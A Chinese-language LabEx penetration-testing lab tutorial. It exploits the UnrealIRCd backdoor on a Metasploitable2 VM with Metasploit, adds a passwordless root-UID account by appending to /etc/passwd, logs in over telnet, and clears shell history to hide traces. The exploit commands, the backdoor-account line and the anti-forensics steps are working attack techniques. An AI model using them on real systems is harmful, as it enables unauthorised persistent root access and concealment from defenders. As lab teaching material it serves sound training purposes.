介绍
在本实验中,我们将学习如何在通过渗透攻击成功获取目标机器的访问权限后创建后门并清除痕迹。场景设置在 LabEx 环境中,我们将使用 Kali 终端来利用 Metasploitable2 目标机器上的漏洞,获取 root 权限,创建后门以便未来访问,并清除攻击过程中留下的任何痕迹。
获取目标机器的 root 权限
在这一步骤中,我们将利用 Unreal Ircd 漏洞获取目标机器的 root 权限。
现在你将启动攻击机器(Kali Linux 容器)和目标机器(Metasploitable2 虚拟机)来进行实验。
- 在 LabEx 主机上打开一个 xfce 终端,并通过运行以下命令启动 Metasploitable2 目标机器:
sudo virsh start Metasploitable2
等待目标机器启动,可能需要 1-3 分钟。
- 通过 ping 命令测试与目标机器的连通性:
ping 192.168.122.102
按下 Ctrl+C 停止 ping。
- 启动 Kali Linux 容器并通过以下命令进入 bash 环境:
docker run -ti --network host b5b709a49cd5 bash
- 在 Kali 容器内,测试与目标机器的网络连接:
ping 192.168.122.102
按下 Ctrl+C 停止 ping。
现在攻击机器和目标机器都已启动,你可以开始渗透测试。
注意:如果你意外退出了当前的 bash,Kali 容器将自动停止。你可以在主机上再次执行 docker run -ti --network host b5b709a49cd5 bash 来启动一个新的 Kali 容器并进入 bash 以继续实验。
- 在 Kali Linux 容器中,在 Kali Linux 的 bash 终端中输入以下命令:
service postgresql start
msfdb init
cd ~
msfconsole
这将启动 PostgreSQL 数据库服务,初始化数据库,并启动 Metasploit Framework 控制台(msfconsole)以进行后续操作。
- 搜索 Unreal Ircd 漏洞模块:
search unreal_ircd
- 使用
unix/irc/unreal_ircd_3281_backdoor模块:
use exploit/unix/irc/unreal_ircd_3281_backdoor
- 设置目标 IP 地址:
set RHOST 192.168.122.102
- 利用漏洞获取访问权限:
exploit
- 检查当前用户:
whoami
你应该会看到你已经获取了目标机器的 root 权限。
按下 Ctrl+D 退出 Metasploit 控制台,然后开始检查
创建后门
现在我们已经获取了 root 权限,接下来我们将创建一个后门,以便未来访问目标机器。
首先,如果你不在 Metasploit 控制台中,你应该启动 Metasploit 控制台:
cd ~
msfconsole
然后,检查系统信息:
uname -a
找到 root 用户的 bash 位置:
cat /etc/passwd
创建一个没有密码的后门账户:
echo 'shiyanlou1234::0:0::/:/bin/sh' >> /etc/passwd
验证后门账户的创建:
cat /etc/passwd
你应该会在输出中看到新账户 shiyanlou1234。
打开一个新的终端,并使用后门账户连接到目标机器:
telnet 192.168.122.102
在提示时输入用户名 shiyanlou1234。
检查当前用户:
whoami
你应该会看到你已经以后门用户的身份登录。
按下 Ctrl+D 退出 Metasploit 控制台,然后开始检查
清除痕迹
在获取访问权限并创建后门之后,清除攻击过程中留下的任何痕迹以避免被检测到是非常重要的。
首先,如果你不在 Metasploit 控制台中,你应该启动 Metasploit 控制台:
cd ~
msfconsole
清除痕迹的一种常见方法是删除命令历史记录。历史记录存储在 .bash_history 文件中。你可以使用以下命令清除历史记录:
history -c
要清除 .bash_history 文件,你可以使用 find 命令找到它的位置:
find / -name .bash_history
按下 Ctrl+D 退出 Metasploit 控制台,然后开始检查
总结
在本实验中,我们学习了如何利用 Unreal Ircd 漏洞获取目标机器的 root 权限,创建后门账户以便未来访问,并清除攻击过程中留下的痕迹。这一实践经验将帮助你理解攻击者在成功渗透攻击后用于维持持久访问和掩盖行踪的技术。